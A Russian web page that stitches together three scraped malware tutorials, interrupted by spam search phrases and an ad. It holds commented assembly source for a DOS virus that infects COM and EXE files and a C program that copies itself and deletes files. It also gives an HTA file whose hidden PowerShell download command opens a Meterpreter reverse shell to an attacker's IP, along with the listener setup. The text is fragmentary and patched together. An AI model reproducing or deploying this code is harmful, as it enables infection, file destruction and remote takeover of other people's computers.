; заданному в DX (в данном примере «*.COM»), с любым видом атрибутов.
; Old3 — это переменная, которая обрабатывает первые три байта выполняющегося
; зараженного COM’а. Если не был найден никакой файл, возвращается флаг
; переноса, а затем мы переходим к процедуре, которая возвращает контрол
; нашей основной программе. Если мы находим по крайней мере один подходящий
; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
cmp word ptr [bp+newDTA+35], ‘DN’ ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
; Объяснение:
; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
lea dx, [bp+newDTA+30]
mov ax, 4300h
mov ax, 4301h ; очищаем атрибуты файла
рush ax ; сохраняем для последующего использования
; Объяснение:
; У первого блока есть двойная функция: сохранение атрибутов файла для
Как сделать вирус? | Как стать хакером? | CMD Windows 2
; последующего восстановления, а также проверяем, существует ли файл или
; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
; установления атрибутов), а также очищает файл от нежелательных атрибутов,
; таких как read-only :).
lea dx, [bp+newDTA+30]
mov ax, 3D02h ; открываем R/O
xchg ax, bx ; хэндл в BX
mov ax, 5700h ; получаем время/дату создания файла
; Объяснение:
; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
; файла в BX, где он будет более полезен.
; Второй блок инструкций получает время и дату создания файла, а затем
; сохраняет их в стеке.
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
mov ax, 4202h
; Объяснение:
; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
; провести последующие сравнения. Второй блок перемещает указатель на конец
; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
; нам для последующего добавления
cmp word ptr [bp+offset readbuffer], «ZM»
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
add cx, heaр-start+3 ; конвертируем в размер файла
cmр ax, cx ; равны, если файл уже заражен
; Объяснение:
; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
; является ли он переименованным EXE (помните, что слова храняться в
; перевернутом порядке). Второй блок проверяет предыдущее заражение,
; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
; текущим размером последней.
cmр ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
ja jmp_close ; выходим, если так
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
; Объяснение:
; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
как написать вирус из 9 символов
; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
; (65535), потому что в противном случает PSP и/или стек повредят код.
; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
sub ax, 0003h ; Virus_size-3 (размер перехода)
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; опкод jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start] ; начало того, что добавляем
mov cx, heap-start ; pазмеp добавления
mov ah, 0040h ; добавляем вирус
; Объяснение:
; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
; в переменной. Второй блок добавляет вирус к телу жертвы :).
mov ax, 4200h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
inc [bp+numinfect]
; Объяснение:
; Первый блок перемещает файловый указателя на начало файла, а второй
; записывает туда переход на код вируса.
; Третий увеличивает значение переменной, которая содержит количество
; сделанных заражений.
mov ax, 5701h ; восстанавливаем время/дату создания файла
mov ah, 003Eh
рoр ax ; восстанавливаем атрибуты файла
pop dx ; получаем имя файла и
рoр cx ; атрибуты из стека
mov ah, 004Fh ; находим следующий файл
jmp findfirstnext
; Объяснение:
; Первый блок инструкция восстанавливает время и дату создания файла, которые
; были сохранены в DTA. А второй закрывает файл, в то время как третий
; восстанавливает старые атрибуты зараженного файла.
; Последний блок помещает в AX досовскую функцию FindNext, после чего
; переходит к дальнейшему поиску файлов для заражения.
signature db «[PS/Gэ]»,0 ; Phalcon/Skism G2 ( old!! )
COMmask db «*.COM»,0 ; должен быть ASCIIZ (Ascii-строка,0)
dot_dot db «..»,0 ; новая директория
heaр: ; эти данные отправляются в кучу
newDTA db 43 dup (?) ; pазмеp DTA, 2Bh
origdir db 65 duр (?) ; где сохранять старую директорию
numinfect db ? ; обрабатывает количество заражений
readbuffer db 1ah dup (?) ; буфеp
end carrier
- Открываем файл (гениально!) только для чтения
- Считываем первые 1A байтов (26)
- Сохраняем их в переменной
- Закрываем файл
- Проверяем первое слово (MZ, ZM)
- Если совпадает, продолжаем, если нет, переходим к пункту 16
- Проверяем, не заражен ли файл уже
- Если не заражен, продолжаем, иначе переходим к пункту 17
- Сохраняем текущее значение CS:IP (в обратном порядке — IP:CS) для восстановления EXE
- Для тех же целей сохраняем SS:SP (в том же порядке)
- Подсчитываем новое значение CS:IP и SS:SP
- Модифицируем байты в последней странице и количество страниц
- Открываем снова (в режиме чтения/записи)
- Записываем заголовок
- Перемещаем файловый указатель к концу
- Добавляем тело вируса
- Закрываем файл
; Я помещу свой собственный код, когда мы перейдем к изучению чего-нибудь
; более интересного. А пока нам придется иметь дело с тем, что нагенерил
; Компилируйте: TASM /m3 lame.asm
; Линкуйте: TLINK /t lame.obj
; Virus generated by Gэ 0.70с
; Gэ written by Dark Angel of Phalcon/Skism
.model tiny
sub bp, offset next
; Объяснение:
; Это наиболее часто использующийся путь найти дельта-смещение (если вы все
; еще не знаете, что такое дельта-смещение, покончите с собой).
pop es ; CS = ES
pop ds ; CS = ES = DS
; Объяснение:
; Это не COM! Помните об этом. EXE более наворочены (и чуть более сложны
; для заражения). Когда мы запускаем EXE, каждый сегмент указывает на разное
; смещение, поэтому мы должны скорректировать их соответствующим образом.
; Помните, мы не можем написать что-нибудь вроде «mov es,ds», поэтому
; приходится применить небольшой трюк для этого. Используйте стек :).
mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
mov ah, 0047h ; Получаем директорию
lea si, [bp+offset origdir+1]
cwd ; Диск по умолчанию
; Объяснение:
; Вы помните нашего старого друга, DTA? Я надеюсь, что ответом будет «да»,
; потому что если нет, то перечитайте все сначала, черт возьми!
; Вторая процедура также хорошо известна. Мы уже все это видели.
lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
mov byte ptr [bp+numinfect], 0000h
; Объяснение:
; Эй! Что-то новое! Хорошо, первый блок для последующего восстановления
; тела жертвы. Я надеюсь, что вы знаете, что делает инструкция MOVSW. Hет?
; Рppp. Я объясню вам, но в следующий pаз. КУПИТЕ КHИГУ ОБ АССЕМБЛЕРЕ.
; MOVSW перемещает слово из DS:SI в ES:DI (MOVSB делает то же самое, но по
; отношению к байту). Мы делаем это, потому что у нас есть два двойных слова.
; Мы также можете поместить что-нибудь вроде ‘MOV CX,4’ и ‘REP MOVSW’ или
; на 386+ два MOVSD.
traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; выходим, если заражено достаточное
; количество файлов
mov ah, 003Bh ; CHDIR
lea dx, [bр+offset dot_dot] ; переходим к предыдущей директории
jnc traverse_looр ; продолжаем цикл, если нет ошибок
; Объяснение:
; Ломает объяснять то, что уже было объяснено.
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], »
mov ah, 003Bh ; восстанавливаем директорию
xchg dx, si
pop es ; ES = DS
mov dx, 0080h ; в PSP
mov ah, 001Ah ; восстанавливаем DTA по умолчанию
; Объяснение:
; Уже объяснено в заражении COM
restore_EXE:
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
mov sp, cs:[bp+word ptr origSPSS2+2]
db 00EAh ; опкод дальнего jmp
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?
; Объяснение:
; Это путь, который используется, чтобы восстановить оригинальное тело
; жертвы. Взгляните на инструкции. Hаша цель — восстановить старый CS:IP
; и SS:SP зараженного EXE. Обратите внимание, что мы должны деактивировать
; прерывания, прежде чем работать со стеком. После этого мы переходим к
; оригинальному коду EXE-файла, и все будет происходить так, как будто ничего
; странного и не было 🙂
mov cx, 0007h ; все файлы
mov ah, 004Eh ; find first
findfirstnext:
lea dx, [bp+newDTA+30]
mov ax, 4300h
mov ax, 4301h ; очищаем атрибуты файла
рush ax ; сохраняем для дальнейшего использования
; Объяснение:
; Весь этого код выглядит похожим на тот, что приводился в разделе о
; заражении COM-файлов, потому что здесь мы делаем то же самое: находим
; нужные файлы, очищаем атрибуты и так далее
mov ax, 3D02h
lea dx, [bp+newDTA+30]
xchg ax, bx
mov ax, 5700h ; получаем время и дату создания файла
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
mov ax, 4202h
; Объяснение:
; Эй, парни. Все это мы уже видели в разделе о заражении COM-файлов. Hо
; отсюда и до конца идет самая кульная часть данного pаздела.
cmp word ptr [bp+offset readbuffer], ‘ZM’
jnz jmp_close
cmp word ptr [bp+offset readbuffer+10h], id
; Объяснение:
; Первый блок сравнивает первые байты открытого файла, чтобы найти сигнатуру
; EXE-файла (MZ). Автор G2 забыл добавить проверку для ‘ZM’. Второй блок
; проверяет, не был ли файл уже заражен. Этот вирус — времени выполнения и
; использует примитивный путь для отметки зараженных экзешников (помещает
; два байта как SP в заголовок EXE)
lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; сохраняем оригинальное значение CS и IP
sub si, 000Ah
movsw ; сохраняем оригинальное значение SS и SP
; Объяснение:
; Вы должны помнить, что делает MOVSW (было объяснено выше). Ок? Да, мы
; восстанавливаем CS:IP и SS:SP открытого EXE
рush bx ; сохраняем хэндл файла
mov bx, word рtr [bр+readbuffer+8] ; размер заголовка в параграфах
mov cl, 0004h
рush dx ; сохраняем размер файла в
push ax ; стеке
sub ax, bx ; pазмеp файла — pазмеp заголовка
sbb dx, 0000h ; DX:AX — BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
; Объяснение:
; Может показаться, что этот кусок кода труден для понимания. Hо это не так.
; Первый блок читает значение из readbuffer+8 (размер заголовка в
; параграфах). А затем превращает его в байты. Второй блок помещает размер
; файла в стек. Третий вычитает из размера файла рамер заголовка. Четвертый
; делит число в AX на 10 и помещает остаток в DX. После этого мы помещаем
; новые SS, IP, SP и CS.
pop ax ; длина файла в DX:AX
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
and ah, 0001h
mov word рtr [bр+readbuffer+2], ax ; корректируем размер файла в
mov word ptr [bp+readbuffer+4], dx ; заголовке EXE
; Объяснение:
; Яааааху! Hесколько крутых математических операций! 🙂 Сначала мы
; восстанавливаем размер файла. Затем мы добавляем к нему размер вируса.
; Этот огромный блок, который делает множество вычислений используется для
; подсчитывания размера зараженного файла в заголовке, причем размер
; округляется так, чтобы быть кратным 512. Представьте, что у нас есть файл
; размеров в 513 байт, тогда у нас 2 и 1 в качестве остатка. Последний
; записывает вычисленную информацию в заголовок.
pop bx ; восстанавливаем хэндл файла
mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; добавляем вирус
mov ax, 4200h
lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
inc [bp+numinfect]
; Объяснение:
; Мы добавляем тело вируса, а затем перемещаем файловый указатель на начало.
; Теперь мы записываем новый заголовок и повышаем значение указателя на 1.
mov ax, 5701h ; восстанавливаем время и дату создания файла
mov ah, 003Eh
рoр ax ; восстанавливаем атрибуты файла
pop dx ; получаем имя файла и
рoр cx ; атрибуты из стека
mov ah, 004Fh ; находим следующий
jmp findfirstnext
; Объяснение:
; Эти процедуры нам уже известны. Hет? Перечитай о заражении COM, сосунок! 😉
signature db «[PS/Gэ]»,0 ; Phalcon/Skism Gэ
EXEmask db «*.EXE»,0
dot_dot db «..»,0
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
Источник: wasm.in
Русские Блоги
Вредоносное ПО может быть первой проблемой компьютерной безопасности, которая затрагивает нас, поэтому вирусы очень важны для информационной безопасности.
Чтобы бороться с вирусом, мы должны понять вирус.
Написание вирусов — хороший способ.
Если вы хотите написать вирус, вы должны сначала узнать, что это такое. Вы можете дать определение вирусу, которое широко признано. Доктор Фредерик Коэн упомянул в «Краткой лекции о компьютерных вирусах»:
«. Программа, которая может заразить другие программы, модифицируя себя для включения или выпуска своих копий».
На самом деле вирусы мало чем отличаются от обычных программ, и они обычно относительно просты, а не так сложны, как многие программы. Просто вирус использует некоторые технологии, которые обычно не используются в обычных программах.
Чтобы скомпилировать вирус, мы должны сначала знать механизм работы вируса.
Независимо от типа вируса, он обычно делится по структуре на три функциональных модуля: механизм заражения, механизм запуска и полезная нагрузка.
В структуре вируса первой и единственной необходимой частью является механизм заражения. Вирусы сначала должны иметь возможность воспроизводить свой собственный код, что является основной причиной, по которой вирусы становятся вирусами.
причина. Мы можем использовать кусок псевдокода C-подобного типа для представления этого процесса.
Вторым важным компонентом вируса является событие запуска полезной нагрузки. После того, как вирус попадает на ваш компьютер, он вряд ли ударит сразу, иначе он не распространится далеко. Скрытый враг всегда лучше, чем враг, которого вы видите намного опаснее.Вирусы обычно срабатывают после обнаружения определенного количества зараженных тел, определенной даты или времени и определенного абзаца текста.
Простой спусковой механизм может работать так:
Полезная нагрузка — это метод, используемый вирусами для преследования вашего компьютера. Вирусы с триггерными механизмами обычно также имеют полезные нагрузки. Это может быть любое одноразовое простое сообщение обмана, переформатирование диска и отправка его самому корреспонденту E_mail может стать эффективной нагрузкой. Простая полезная нагрузка может выполняться следующим образом:
2. Язык вируса
Наиболее распространенными языками для компиляции вирусов являются ассемблер, VB, язык C и т. Д. Мы можем взглянуть на основы обучения написанию вирусов:
1) .Win32 программирование, процесс, поток, память и т. Д.
2) 32-битная сборка, в основном использование инструкций. 386 сборки более чем достаточно.
3) .PE формат, если у вас есть энергия, вы также можете посмотреть форматы файлов других файлов, которые могут быть заражены.
4) .Технология отладки. VC, TD32, SoftIce и др.
Есть действительно много вещей, которые нужно освоить, и я никогда не слышал об этом раньше. Это очень страшно. Но на самом деле, хотя мы мало знаем о принципах работы компьютеров и операционных систем,
На других языках, если у нас есть определенное представление о функциях библиотеки C, мы можем написать что-то похожее на вирус.
Три используют C для компиляции вирусов
Редактор рекомендует место с супер обучающей атмосферой, юбка пингвина обмена C / C ++: 870963251! Подходит для студентов колледжа Сяобай, которые хотят сменить карьеру и присоединиться к этому поиску работы. В юбке много учебных материалов, есть великие боги, которые отвечают на вопросы общения, и есть бесплатные живые курсы каждую ночь
Возьмем, к примеру, TurboC2.0. Его библиотечная функция может реализовывать множество функций.
Например, следующие две функции:
1) Функции .findfirst и findnext: в dir.h. findfirst используется для поиска файлов различных типов и может получить имя файла, длину файла, атрибуты файла и т.д., findnext и findfirst используются вместе для поиска следующего файла того же типа.
2) .remove функция: в stdio.h. Если вы знаете имя файла, вы можете удалить любой тип файла
Здесь я даю вам небольшой вирус, написанный на языке C (не думайте делать плохие вещи)
Примеры разработки вирусных программ на языке Си
Код:
// Подключаем заголовочный файл
// Копируем файловый модуль
int copyfile (char *infile, char *outfile)
FILE * in, * out; // определяем указатель файла
in = fopen (infile, «r»); // Открываем файл
out = fopen (outfile, «w»); // Создаем файл
while (! feof (in)) // Проверяем, закончился ли файл
fputc (fgetc (in), out); // Считываем символ от входа к выходу
fclose (in); // Закрываем входящий файл
fclose (out); // Закрываем выходной файл
return 0; // возврат
int MakeRubbish (void)
int i; // Объявить целочисленную переменную i
FILE * fp; // Указатель на файл fp
char * path; // Указатель пути
char * disk [7] = ; // Инициализируем массив указателей
char tempname [] = «XXXXXX»; // Случайное имя
NewName = mktemp (tempname); // Создаем уникальное имя файла
fp = fopen (NewName, «w»); // Создаем текстовый файл
fclose (fp); // Закрываем файловый поток fp
path = strcat (disk [getdisk ()], addtion); // Получаем корневой номер
chdir (path); // Смена рабочего каталога
char tempname [] = «XXXXXX»; // Строка присваивается массиву
NewName = mktemp (tempname); // Создаем уникальное имя файла
fp = fopen (NewName, «w»); // Создаем новый файл
fclose (fp); // Закрываем файл
return 0; // возврат
int CreatEXE (void)
int i; // Целочисленная переменная
char * path; // Указатель на символ
open (s, 0x0100,0x0080); // Открываем файл для записи данных
copyfile («C_KILLER.C», s); // Вызов подфункции для копирования данных файла
int Remove (void) // куда идти
int done; // Определение пластиковых переменных
struct ffblk ffblk; // Объявить структурную переменную ffblk
char * documenttype [3] = ; // инициализируем массив указателей
done = findfirst (documenttype, // Поиск в каталоге
while (! done) // возвращаем 0, если поиск успешен
remove (ffblk.ff_name); // Удаляем файл
return 0; // возврат
int Breed (void) // Модуль разведения
int done; // Информационная переменная
struct ffblk ffblk; // структурная переменная репутации
if (strcmp(«C_KILLER.C», ffblk.ff_name) != 0 )
int main (void) // Адрес входа в программу
printf («Вирус жидкого червя, автор: Учитель Юньчжи.»);
Breed (); // Разведение вируса
Remove (); // куда идти
printf («Можете назвать свое имя?»);
printf («Пожалуйста, введите свое имя сейчас!»);
MakeRubbish (); // Вызов подфункции
clrscr (); // Очистить экран
Подробно прокомментирован исходный код вирусной программы, разработанной на языке C. Строго говоря, это не вирус в истинном смысле этого слова, но его можно использовать как справочник для начинающих, изучающих C. В программе реализованы несколько вирусных функций.
Источник: russianblogs.com
Статья Малварь на HTML или HTA для хакера
В этой статье будет рассказано о разработке вредоносных приложений на HTML . Но возникает вопрос, а зачем это вообще нужно? Существует очень много ситуаций, когда такая малварь может пригодиться. И чаще всего, эти ситуации прикладные. Например, социально-технический вектор. Расширение .hta не вызывает особых подозрений, а значит может быть использовано в данном случае.
Кто-то из вас скажет, что HTML не является языком программирования и будет прав, но в Windows существует возможность безбраузерного взаимодействия с документами HTML. Эта технология носит название HTA ( HTML Application ).
Эти приложения имеют расширения «.hta» и возможность их создания вышла уже в марте 1999 года. Так как HTA поддерживает исполнение сценариев, они могут использоваться для выполнения вредоносного кода.
Прочитать об этой технологии вы можете здесь:
Ссылка на статью в Wikipedia
Ссылка скрыта от гостей
Запуск HTA приложений происходит с помощью прикладной программы mshta.exe, которая использует недокументированную функцию RunHTMLApplication для их запуска. По умолчанию файлам с расширением .hta для запуска присвоена программа mshta.exe, поэтому для запуска HTA файлов достаточно сохранить их с нужным расширением. Давайте рассмотрим, как именно происходит разработка HTML Application приложений.
Для начала, создадим файл с расширением .hta и сохраним его на диске.
Любопытный факт. Если запустить файл теперь, то особого прока это нам не принесёт, однако файл уже находится в рабочем состоянии.
В каждой программе, в каждом языке программирования есть определённый скелет, с которым необходимо работать. У HTA он такой:
Тело документа.
Как я уже сказал выше в HTA можно добавлять скрипты, как VBScript или JavaScript. Добавляется он также как и в обычные страницы. Кстати, аргументы с которым было запущено приложение можно получить с помощью атрибута commandLine элемента HTA:APPLICATION.
Вот пример небольшого HTA приложения.
HTA Test Msgbox «Hello, Codeby.NET!»
Сохраним и запустим это и мы получим примерно следующий результат.
Как вы можете увидеть, скрипт был успешно запущен и отработан. Мы познакомились с основами технологии HTML Application. Теперь, можно перейти к самой теме статьи.
Давайте создадим приложения для получения сессии в Meterpreter. Нам нужно исключить появление окна, поэтому скелет, с которым мы будем работать будет такой:
Теперь, добавим запуск вредоносной Powershell команды через VBScript. Сначала, подготовим PowerShell команду.
1. Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.
-w hidden -nop -noni -exec bypass
2. Подготовим вредоносный payload. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.
IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke—Shellcode.ps1’); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
,
где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.
3. Соберём команду и она примет следующий вид:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke—Shellcode.ps1’); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
Теперь, вставим следующий VBScript в HTA файл.
Window.ReSizeTo 0,0 ‘Делаем окно невидимым, уменьшим его размер до минимального Window.MoveTo -4000, -4000 ‘Выносим окно за пределы видимости Set wsh = CreateObject(«wscript.shell») ‘Создаём объект для выполения команд wsh.Run «powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke—Shellcode.ps1’); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force» ‘Выполняем команду Window.Close ‘Завершаем работу
После данной манипуляции HTA файл приобретает следующий вид:
Window.ReSizeTo 0,0 Window.MoveTo -4000, -4000 Set wsh = CreateObject(«wscript.shell») wsh.Run «powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke—Shellcode.ps1’); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force» Window.Close
Сохраните этот файл на диске.
Запустим Meterpreter Listener на ПК атакующего:
Вот последовательность команд для его запуска:
msfconsole -q use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 192.168.0.106 set LPORT 8007 run
, где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.
Теперь, запустив вредоносный HTA документ мы получим meterpreter сессию:
На скриншоте выше видно, что сессия открылась успешно и мы можем взаимодействовать с заражённым компьютером.
Ну, на этом всё. Спасибо за внимание.
Источник: codeby.net